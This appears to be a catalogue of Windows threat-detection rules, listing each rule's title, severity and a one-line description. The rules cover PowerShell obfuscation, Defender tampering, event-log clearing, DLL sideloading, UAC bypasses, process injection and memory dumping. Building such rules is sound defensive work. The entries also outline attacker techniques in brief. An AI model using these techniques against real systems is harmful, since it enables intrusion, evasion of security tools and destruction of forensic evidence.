Invoke-Obfuscation CLIP+ Launcher - Security	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation Obfuscated IEX Invocation - Security	high	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references
Invoke-Obfuscation STDIN+ Launcher - Security	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher - Security	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation COMPRESS OBFUSCATION - Security	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation RUNDLL LAUNCHER - Security	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Stdin - Security	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation Via Use Clip - Security	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use MSHTA - Security	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation Via Use Rundll32 - Security	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
NetNTLM Downgrade Attack	high	Detects NetNTLM downgrade attack
New or Renamed User Account with '$' Character	medium	Detects the creation of a user with the "$" character. This can be used by attackers to hide a user or trick detection systems that lack the parsing mechanisms.
RDP over Reverse SSH Tunnel WFP	high	Detects svchost hosting RDP termsvcs communicating with the loopback address
Service Registry Key Read Access Request	low	Detects "read access" requests on the services registry key. Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.
Potential Secure Deletion with SDelete	medium	Detects files that have extensions commonly seen while SDelete is used to wipe files.
Account Tampering - Suspicious Failed Logon Reasons	medium	This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.
Password Protected ZIP File Opened	medium	Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.
Password Protected ZIP File Opened (Suspicious Filenames)	high	Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.
Password Protected ZIP File Opened (Email Attachment)	high	Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.
Unauthorized System Time Modification	low	Detect scenarios where a potentially unauthorized application or user is modifying the system time.
Sysmon Channel Reference Deletion	high	Potential threat actor tampering with Sysmon manifest and eventually disabling it
Potential Privileged System Service Operation - SeLoadDriverPrivilege	medium	Detects the usage of the 'SeLoadDriverPrivilege' privilege. This privilege is required to load or unload a device driver. With this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode. This user right does not apply to Plug and Play device drivers. If you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers. This will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff.
Windows Defender Exclusion List Modified	medium	Detects modifications to the Windows Defender exclusion registry key. This could indicate a potentially suspicious or even malicious activity by an attacker trying to add a new exclusion in order to bypass security.
Windows Defender Exclusion Deleted	medium	Detects when a Windows Defender exclusion has been deleted. This could indicate an attacker trying to delete their tracks by removing the added exclusions
Windows Defender Exclusion Registry Key - Write Access Requested	medium	Detects write access requests to the Windows Defender exclusions registry keys. This could be an indication of an attacker trying to request a handle or access the object to write new exclusions in order to bypass security.
Potential Access Token Abuse	medium	Detects potential token impersonation and theft. Example, when using "DuplicateToken(Ex)" and "ImpersonateLoggedOnUser" with the "LOGON32_LOGON_NEW_CREDENTIALS flag".
Outgoing Logon with New Credentials	low	Detects logon events that specify new credentials
Windows Filtering Platform Blocked Connection From EDR Agent Binary	high	Detects a Windows Filtering Platform (WFP) blocked connection event involving common Endpoint Detection and Response (EDR) agents. Adversaries may use WFP filters to prevent Endpoint Detection and Response (EDR) agents from reporting security events.
Microsoft Defender Blocked from Loading Unsigned DLL	high	Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL
Unsigned Binary Loaded From Suspicious Location	high	Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations
Sysmon Application Crashed	high	Detects application popup reporting a failure of the Sysmon service
NTLMv1 Logon Between Client and Server	medium	Detects the reporting of NTLMv1 being used between a client and server. NTLMv1 is insecure as the underlying encryption algorithms can be brute-forced by modern hardware.
DHCP Server Error Failed Loading the CallOut DLL	high	This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded
DHCP Server Loaded the CallOut DLL	high	This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded
Eventlog Cleared	medium	One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution
Important Windows Eventlog Cleared	high	Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution
Windows Defender Threat Detection Service Disabled	medium	Detects when the "Windows Defender Threat Protection" service is disabled.
Invoke-Obfuscation CLIP+ Launcher - System	high	Detects Obfuscated use of Clip.exe to execute PowerShell
Invoke-Obfuscation Obfuscated IEX Invocation - System	high	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references
Invoke-Obfuscation STDIN+ Launcher - System	high	Detects Obfuscated use of stdin to execute PowerShell
Invoke-Obfuscation VAR+ Launcher - System	high	Detects Obfuscated use of Environment Variables to execute PowerShell
Invoke-Obfuscation COMPRESS OBFUSCATION - System	medium	Detects Obfuscated Powershell via COMPRESS OBFUSCATION
Invoke-Obfuscation Via Stdin - System	high	Detects Obfuscated Powershell via Stdin in Scripts
Invoke-Obfuscation RUNDLL LAUNCHER - System	medium	Detects Obfuscated Powershell via RUNDLL LAUNCHER
Invoke-Obfuscation Via Use Clip - System	high	Detects Obfuscated Powershell via use Clip.exe in Scripts
Invoke-Obfuscation Via Use MSHTA - System	high	Detects Obfuscated Powershell via use MSHTA in Scripts
Invoke-Obfuscation Via Use Rundll32 - System	high	Detects Obfuscated Powershell via use Rundll32 in Scripts
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System	high	Detects Obfuscated Powershell via VAR++ LAUNCHER
Important Windows Service Terminated With Error	high	Detects important or interesting Windows services that got terminated for whatever reason
Windows Service Terminated With Error	low	Detects Windows services that got terminated for whatever reason
Important Windows Service Terminated Unexpectedly	high	Detects important or interesting Windows services that got terminated unexpectedly.
Windows Defender Grace Period Expired	high	Detects the expiration of the grace period of Windows Defender. This means protection against viruses, spyware, and other potentially unwanted software is disabled.
Windows Defender Exclusions Added	medium	Detects the Setting of Windows Defender Exclusions
Windows Defender Exploit Guard Tamper	high	Detects when someone is adding or removing applications or folders from exploit guard "ProtectedFolders" or "AllowedApplications"
Windows Defender Submit Sample Feature Disabled	low	Detects disabling of the "Automatic Sample Submission" feature of Windows Defender.
Windows Defender Malware And PUA Scanning Disabled	high	Detects disabling of the Windows Defender feature of scanning for malware and other potentially unwanted software
Windows Defender Malware Detection History Deletion	informational	Windows Defender logs when the history of detected infections is deleted.
Windows Defender Real-time Protection Disabled	high	Detects disabling of Windows Defender Real-time Protection. As this event doesn't contain a lot of information on who initiated this action you might want to reduce it to a "medium" level if this occurs too many times in your environment
Windows Defender Real-Time Protection Failure/Restart	medium	Detects issues with Windows Defender Real-Time Protection features
Win Defender Restored Quarantine File	high	Detects the restoration of files from the defender quarantine
Windows Defender Configuration Changes	high	Detects suspicious changes to the Windows Defender configuration
Microsoft Defender Tamper Protection Trigger	high	Detects blocked attempts to change any of Defender's settings such as "Real Time Monitoring" and "Behavior Monitoring"
Windows Defender Virus Scanning Feature Disabled	high	Detects disabling of the Windows Defender virus scanning feature
HackTool - CACTUSTORCH Remote Thread Creation	high	Detects remote thread creation from CACTUSTORCH as described in references.
HackTool - Potential CobaltStrike Process Injection	high	Detects a potential remote threat creation with certain characteristics which are typical for Cobalt Strike beacons
Remote Thread Creation Via PowerShell In Uncommon Target	medium	Detects the creation of a remote thread from a Powershell process in an uncommon target process
Rare Remote Thread Creation By Uncommon Source Image	high	Detects uncommon processes creating remote threads.
Remote Thread Created In Shell Application	medium	Detects remote thread creation in command shell applications, such as "Cmd.EXE" and "PowerShell.EXE". It is a common technique used by malware, such as IcedID, to inject malicious code and execute it within legitimate processes.
Remote Thread Creation By Uncommon Source Image	medium	Detects uncommon processes creating remote threads.
Remote Thread Creation In Uncommon Target Image	medium	Detects uncommon target processes for remote thread creation
Remote Thread Creation Ttdinject.exe Proxy	high	Detects a remote thread creation of Ttdinject.exe used as proxy
Creation Of a Suspicious ADS File Outside a Browser Download	medium	Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers
Hidden Executable In NTFS Alternate Data Stream	medium	Detects the creation of an ADS (Alternate Data Stream) that contains an executable by looking at a non-empty Imphash
Suspicious File Download From File Sharing Websites - File Stream	high	Detects the download of suspicious file type from a well-known file and paste sharing domain
Unusual File Download From File Sharing Websites - File Stream	medium	Detects the download of suspicious file type from a well-known file and paste sharing domain
HackTool Named File Stream Created	high	Detects the creation of a named file stream with the imphash of a well-known hack tool
Exports Registry Key To an Alternate Data Stream	high	Exports the target Registry key and hides it in the specified alternate data stream.
Unusual File Download from Direct IP Address	high	Detects the download of suspicious file type from URLs with IP
Potential Suspicious Winget Package Installation	high	Detects potential suspicious winget package installation from a suspicious source.
Potentially Suspicious File Download From ZIP TLD	high	Detects the download of a file with a potentially suspicious extension from a .zip top level domain.
DNS Query Request By Regsvr32.EXE	medium	Detects DNS queries initiated by "Regsvr32.exe"
WinDivert Driver Load	high	Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows
File Creation Date Changed to Another Year	high	Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system. Note that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.
Potential PrintNightmare Exploitation Attempt	high	Detect DLL deletions from Spooler Service driver folder. This might be a potential exploitation attempt of CVE-2021-1675
EventLog EVTX File Deleted	medium	Detects the deletion of the event log files which may indicate an attempt to destroy forensic evidence
Exchange PowerShell Cmdlet History Deleted	high	Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence
Process Deletion of Its Own Executable	medium	Detects the deletion of a process's executable by itself. This is usually not possible without workarounds and may be used by malware to hide its traces.
IIS WebServer Access Logs Deleted	medium	Detects the deletion of IIS WebServer access logs which may indicate an attempt to destroy forensic evidence
PowerShell Console History Logs Deleted	medium	Detects the deletion of the PowerShell console History logs which may indicate an attempt to destroy forensic evidence
Prefetch File Deleted	high	Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence
TeamViewer Log File Deleted	low	Detects the deletion of the TeamViewer log files which may indicate an attempt to destroy forensic evidence
Tomcat WebServer Logs Deleted	medium	Detects the deletion of tomcat WebServer logs which may indicate an attempt to destroy forensic evidence
File Deleted Via Sysinternals SDelete	medium	Detects the deletion of files by the Sysinternals SDelete utility. It looks for the common name pattern used to rename files.
ADS Zone.Identifier Deleted By Uncommon Application	medium	Detects the deletion of the "Zone.Identifier" ADS by an uncommon process. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps.
EVTX Created In Uncommon Location	medium	Detects the creation of new files with the ".evtx" extension in non-common or non-standard location. This could indicate tampering with default EVTX locations in order to evade security controls or simply exfiltration of event log to search for sensitive information within. Note that backup software and legitimate administrator might perform similar actions during troubleshooting.
Creation Of Non-Existent System DLL	medium	Detects the creation of system DLLs that are usually not present on the system (or at least not in system directories). Usually this technique is used to achieve DLL hijacking.
Files With System DLL Name In Unsuspected Locations	medium	Detects the creation of a file with the ".dll" extension that has the name of a System DLL in uncommon or unsuspected locations. (Outisde of "System32", "SysWOW64", etc.). It is highly recommended to perform an initial baseline before using this rule in production.
Files With System Process Name In Unsuspected Locations	medium	Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64, etc.). It is highly recommended to perform an initial baseline before using this rule in production.
Dynamic CSharp Compile Artefact	low	When C# is compiled dynamically, a .cmdline file will be created as a part of the process. Certain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution
DLL Search Order Hijackig Via Additional Space in Path	high	Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...) but with a space in order to trick DLL load search order and perform a "DLL Search Order Hijacking" attack
Potentially Suspicious DMP/HDMP File Creation	medium	Detects the creation of a file with the ".dmp"/".hdmp" extension by a shell or scripting application such as "cmd", "powershell", etc. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.
HackTool - Powerup Write Hijack DLL	high	Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation. In it's default mode, it builds a self deleting .bat file which executes malicious command. The detection rule relies on creation of the malicious bat file (debug.bat by default).
Potential Initial Access via DLL Search Order Hijacking	medium	Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.
Malicious DLL File Dropped in the Teams or OneDrive Folder	high	Detects creation of a malicious DLL file in the location where the OneDrive or Team applications Upon execution of the Teams or OneDrive application, the dropped malicious DLL file ("iphlpapi.dll") is sideloaded
Uncommon File Creation By Mysql Daemon Process	high	Detects the creation of files with scripting or executable extensions by Mysql daemon. Which could be an indicator of "User Defined Functions" abuse to download malware.
Suspicious DotNET CLR Usage Log Artifact	high	Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context.
Suspicious File Creation In Uncommon AppData Folder	high	Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs
SCR File Write Event	medium	Detects the creation of screensaver files (.scr) outside of system folders. Attackers may execute an application as an ".SCR" file using "rundll32.exe desk.cpl,InstallScreenSaver" for example.
OneNote Attachment File Dropped In Suspicious Location	medium	Detects creation of files with the ".one"/".onepkg" extension in suspicious or uncommon locations. This could be a sign of attackers abusing OneNote attachments
Suspicious File Created Via OneNote Application	high	Detects suspicious files created via the OneNote application. This could indicate a potential malicious ".one"/".onepkg" file was executed as seen being used in malware activity in the wild
.RDP File Created by Outlook Process	high	Detects the creation of files with the ".rdp" extensions in the temporary directory that Outlook uses when opening attachments. This can be used to detect spear-phishing campaigns that use RDP files as attachments.
Publisher Attachment File Dropped In Suspicious Location	medium	Detects creation of files with the ".pub" extension in suspicious or uncommon locations. This could be a sign of attackers abusing Publisher documents
PSScriptPolicyTest Creation By Uncommon Process	medium	Detects the creation of the "PSScriptPolicyTest" PowerShell script by an uncommon process. This file is usually generated by Microsoft Powershell to test against Applocker.
.RDP File Created By Uncommon Application	high	Detects creation of a file with an ".rdp" extension by an application that doesn't commonly create such files.
Potential Winnti Dropper Activity	high	Detects files dropped by Winnti as described in RedMimicry Winnti playbook
PDF File Created By RegEdit.EXE	high	Detects the creation of a file with the ".pdf" extension by the "RegEdit.exe" process. This indicates that a user is trying to print/save a registry key as a PDF in order to potentially extract sensitive information and bypass defenses.
Self Extraction Directive File Created In Potentially Suspicious Location	medium	Detects the creation of Self Extraction Directive files (.sed) in a potentially suspicious location. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries.
Windows Binaries Write Suspicious Extensions	high	Detects Windows executables that write files with suspicious extensions
Suspicious Creation with Colorcpl	high	Once executed, colorcpl.exe will copy the arbitrary file to c:\windows\system32\spool\drivers\color\
Created Files by Microsoft Sync Center	medium	This rule detects suspicious files created by Microsoft Sync Center (mobsync)
Suspicious Files in Default GPO Folder	medium	Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder
Suspicious Double Extension Files	high	Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that Windows hide default extensions by default.
Suspicious Executable File Creation	high	Detect creation of suspicious executable file names. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.
Suspicious Get-Variable.exe Creation	high	Get-Variable is a valid PowerShell cmdlet WindowsApps is by default in the path where PowerShell is executed. So when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.
Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream	medium	Detects the creation of hidden file/folder with the "::$index_allocation" stream. Which can be used as a technique to prevent access to folder and files from tooling such as "explorer.exe" and "powershell.exe"
Potential Homoglyph Attack Using Lookalike Characters in Filename	medium	Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.
Legitimate Application Dropped Archive	high	Detects programs on a Windows system that should not write an archive to disk
Legitimate Application Dropped Executable	high	Detects programs on a Windows system that should not write executables to disk
Legitimate Application Dropped Script	high	Detects programs on a Windows system that should not write scripts to disk
Suspicious LNK Double Extension File Created	medium	Detects the creation of files with an "LNK" as a second extension. This is sometimes used by malware as a method to abuse the fact that Windows hides the "LNK" extension by default.
Suspicious PROCEXP152.sys File Created In TMP	medium	Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder. This driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.
Suspicious File Creation Activity From Fake Recycle.Bin Folder	high	Detects file write event from/to a fake recycle bin folder that is often used as a staging directory for malware
Potential File Extension Spoofing Using Right-to-Left Override	high	Detects suspicious filenames that contain a right-to-left override character and a potentially spoofed file extensions.
Drop Binaries Into Spool Drivers Color Folder	medium	Detects the creation of suspcious binary files inside the "\windows\system32\spool\drivers\color\" as seen in the blog referenced below
LiveKD Kernel Memory Dump File Created	high	Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.
LiveKD Driver Creation	medium	Detects the creation of the LiveKD driver, which is used for live kernel debugging
LiveKD Driver Creation By Uncommon Process	high	Detects the creation of the LiveKD driver by a process image other than "livekd.exe".
Potential Privilege Escalation Attempt Via .Exe.Local Technique	high	Detects potential privilege escalation attempt via the creation of the "*.Exe.Local" folder inside the "System32" directory in order to sideload "comctl32.dll"
UAC Bypass Using Consent and Comctl32 - File	high	Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)
UAC Bypass Using .NET Code Profiler on MMC	high	Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)
UAC Bypass Using EventVwr	high	Detects the pattern of a UAC bypass using Windows Event Viewer
UAC Bypass Using IDiagnostic Profile - File	high	Detects the creation of a file by "dllhost.exe" in System32 directory part of "IDiagnosticProfileUAC" UAC bypass technique
UAC Bypass Using IEInstal - File	high	Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)
UAC Bypass Using MSConfig Token Modification - File	high	Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)
UAC Bypass Using NTFS Reparse Point - File	high	Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)
UAC Bypass Abusing Winsat Path Parsing - File	high	Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)
UAC Bypass Using Windows Media Player - File	high	Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)
Creation of WerFault.exe/Wer.dll in Unusual Folder	medium	Detects the creation of a file named "WerFault.exe" or "wer.dll" in an uncommon folder, which could be a sign of WerFault DLL hijacking.
AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File	medium	Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)
UEFI Persistence Via Wpbbin - FileCreation	high	Detects creation of a file named "wpbbin" in the "%systemroot%\system32\" directory. Which could be indicative of UEFI based persistence method
Potentially Suspicious Self Extraction Directive File Created	medium	Detects the creation of a binary file with the ".sed" extension. The ".sed" extension stand for Self Extraction Directive files. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries. Usually ".sed" files are simple ini files and not PE binaries.
DLL Loaded From Suspicious Location Via Cmspt.EXE	high	Detects cmstp loading "dll" or "ocx" files from suspicious locations
Amsi.DLL Loaded Via LOLBIN Process	medium	Detects loading of "Amsi.dll" by a living of the land process. This could be an indication of a "PowerShell without PowerShell" attack
Potential Azure Browser SSO Abuse	low	Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser. An attacker can use this to authenticate to Azure AD in a browser as that user.
Suspicious Renamed Comsvcs DLL Loaded By Rundll32	high	Detects rundll32 loading a renamed comsvcs.dll to dump process memory
Load Of RstrtMgr.DLL By A Suspicious Process	high	Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.
Load Of RstrtMgr.DLL By An Uncommon Process	low	Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.
Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE	high	Detects both of CVE-2022-30190 (Follina) and DogWalk vulnerabilities exploiting msdt.exe binary to load the "sdiageng.dll" library
Time Travel Debugging Utility Usage - Image	high	Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.
Suspicious Volume Shadow Copy Vssapi.dll Load	high	Detects the image load of VSS DLL by uncommon executables
Potentially Suspicious Volume Shadow Copy Vsstrace.dll Load	medium	Detects the image load of VSS DLL by uncommon executables
Suspicious Volume Shadow Copy VSS_PS.dll Load	high	Detects the image load of vss_ps.dll by uncommon executables
HackTool - SharpEvtMute DLL Load	high	Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool that tampers with the Windows event logs
PowerShell Core DLL Loaded Via Office Application	medium	Detects PowerShell core DLL being loaded by an Office Product
Potential 7za.DLL Sideloading	low	Detects potential DLL sideloading of "7za.dll"
Potential Antivirus Software DLL Sideloading	medium	Detects potential DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc
Potential appverifUI.DLL Sideloading	high	Detects potential DLL sideloading of "appverifUI.dll"
Potential AVKkid.DLL Sideloading	medium	Detects potential DLL sideloading of "AVKkid.dll"
Potential CCleanerDU.DLL Sideloading	medium	Detects potential DLL sideloading of "CCleanerDU.dll"
Potential CCleanerReactivator.DLL Sideloading	medium	Detects potential DLL sideloading of "CCleanerReactivator.dll"
Potential Chrome Frame Helper DLL Sideloading	medium	Detects potential DLL sideloading of "chrome_frame_helper.dll"
Potential DLL Sideloading Via ClassicExplorer32.dll	medium	Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software
Potential DLL Sideloading Via comctl32.dll	high	Detects potential DLL sideloading using comctl32.dll to obtain system privileges
Potential DLL Sideloading Using Coregen.exe	medium	Detect usage of the "coregen.exe" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs.
Potential DLL Sideloading Of DBGCORE.DLL	medium	Detects DLL sideloading of "dbgcore.dll"
System Control Panel Item Loaded From Uncommon Location	medium	Detects image load events of system control panel items (.cpl) from uncommon or non-system locations which might be the result of sideloading.
Potential DLL Sideloading Of DBGHELP.DLL	medium	Detects potential DLL sideloading of "dbghelp.dll"
Potential DLL Sideloading Of DbgModel.DLL	medium	Detects potential DLL sideloading of "DbgModel.dll"
Potential EACore.DLL Sideloading	high	Detects potential DLL sideloading of "EACore.dll"
Potential Edputil.DLL Sideloading	high	Detects potential DLL sideloading of "edputil.dll"
Potential System DLL Sideloading From Non System Locations	high	Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.).
Potential Goopdate.DLL Sideloading	medium	Detects potential DLL sideloading of "goopdate.dll", a DLL used by googleupdate.exe
Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE	medium	Detects potential DLL sideloading of "libcurl.dll" by the "gup.exe" process from an uncommon location
Potential Iviewers.DLL Sideloading	high	Detects potential DLL sideloading of "iviewers.dll" (OLE/COM Object Interface Viewer)
Potential DLL Sideloading Via JsSchHlp	medium	Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor
Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE	high	Detects potential DLL side loading of "KeyScramblerIE.dll" by "KeyScrambler.exe". Various threat actors and malware have been found side loading a masqueraded "KeyScramblerIE.dll" through "KeyScrambler.exe".
Potential Libvlc.DLL Sideloading	medium	Detects potential DLL sideloading of "libvlc.dll", a DLL that is legitimately used by "VLC.exe"
Potential Mfdetours.DLL Sideloading	medium	Detects potential DLL sideloading of "mfdetours.dll". While using "mftrace.exe" it can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.
Unsigned Mfdetours.DLL Sideloading	high	Detects DLL sideloading of unsigned "mfdetours.dll". Executing "mftrace.exe" can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.
Potential DLL Sideloading Of MpSvc.DLL	medium	Detects potential DLL sideloading of "MpSvc.dll".
Potential DLL Sideloading Of MsCorSvc.DLL	medium	Detects potential DLL sideloading of "mscorsvc.dll".
Potential DLL Sideloading Of Non-Existent DLLs From System Folders	high	Detects DLL sideloading of system DLLs that are not present on the system by default (at least not in system directories). Usually this technique is used to achieve UAC bypass or privilege escalation.
Microsoft Office DLL Sideload	high	Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location
Potential Python DLL SideLoading	medium	Detects potential DLL sideloading of Python DLL files.
Potential Rcdll.DLL Sideloading	high	Detects potential DLL sideloading of rcdll.dll
Potential RjvPlatform.DLL Sideloading From Default Location	medium	Detects loading of "RjvPlatform.dll" by the "SystemResetPlatform.exe" binary which can be abused as a method of DLL side loading since the "$SysReset" directory isn't created by default.
Potential RjvPlatform.DLL Sideloading From Non-Default Location	high	Detects potential DLL sideloading of "RjvPlatform.dll" by "SystemResetPlatform.exe" located in a non-default location.
Potential RoboForm.DLL Sideloading	medium	Detects potential DLL sideloading of "roboform.dll", a DLL used by RoboForm Password Manager
Potential ShellDispatch.DLL Sideloading	medium	Detects potential DLL sideloading of "ShellDispatch.dll"
DLL Sideloading Of ShellChromeAPI.DLL	high	Detects processes loading the non-existent DLL "ShellChromeAPI". One known example is the "DeviceEnroller" binary in combination with the "PhoneDeepLink" flag tries to load this DLL. Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter
Potential SmadHook.DLL Sideloading	high	Detects potential DLL sideloading of "SmadHook.dll", a DLL used by SmadAV antivirus
Potential SolidPDFCreator.DLL Sideloading	medium	Detects potential DLL sideloading of "SolidPDFCreator.dll"
Third Party Software DLL Sideloading	medium	Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)
Fax Service DLL Search Order Hijack	high	The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.
Potential Vivaldi_elf.DLL Sideloading	medium	Detects potential DLL sideloading of "vivaldi_elf.dll"
VMGuestLib DLL Sideload	medium	Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service.
VMMap Signed Dbghelp.DLL Potential Sideloading	medium	Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap.
VMMap Unsigned Dbghelp.DLL Potential Sideloading	high	Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMap.
Potential DLL Sideloading Via VMware Xfer	high	Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL
Potential Waveedit.DLL Sideloading	high	Detects potential DLL sideloading of "waveedit.dll", which is part of the Nero WaveEditor audio editing software.
Potential Wazuh Security Platform DLL Sideloading	medium	Detects potential DLL side loading of DLLs that are part of the Wazuh security platform
Potential Mpclient.DLL Sideloading	high	Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and "NisSrv") from their non-default directory.
Potential WWlib.DLL Sideloading	medium	Detects potential DLL sideloading of "wwlib.dll"
Windows Spooler Service Suspicious Binary Load	informational	Detect DLL Load from Spooler Service backup folder
DLL Load By System Process From Suspicious Locations	medium	Detects when a system process (i.e. located in system32, syswow64, etc.) loads a DLL from a suspicious location or a location with permissive permissions such as "C:\Users\Public"
Python Image Load By Non-Python Process	medium	Detects the image load of "Python Core" by a non-Python process. This might be indicative of a Python script bundled with Py2Exe.
Unsigned DLL Loaded by Windows Utility	medium	Detects windows utilities loading an unsigned or untrusted DLL. Adversaries often abuse those programs to proxy execution of malicious code.
Suspicious Unsigned Thor Scanner Execution	high	Detects loading and execution of an unsigned thor scanner binary.
UAC Bypass Using Iscsicpl - ImageLoad	high	Detects the "iscsicpl.exe" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%
UAC Bypass With Fake DLL	high	Attempts to load dismcore.dll after dropping it
WMIC Loading Scripting Libraries	medium	Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).
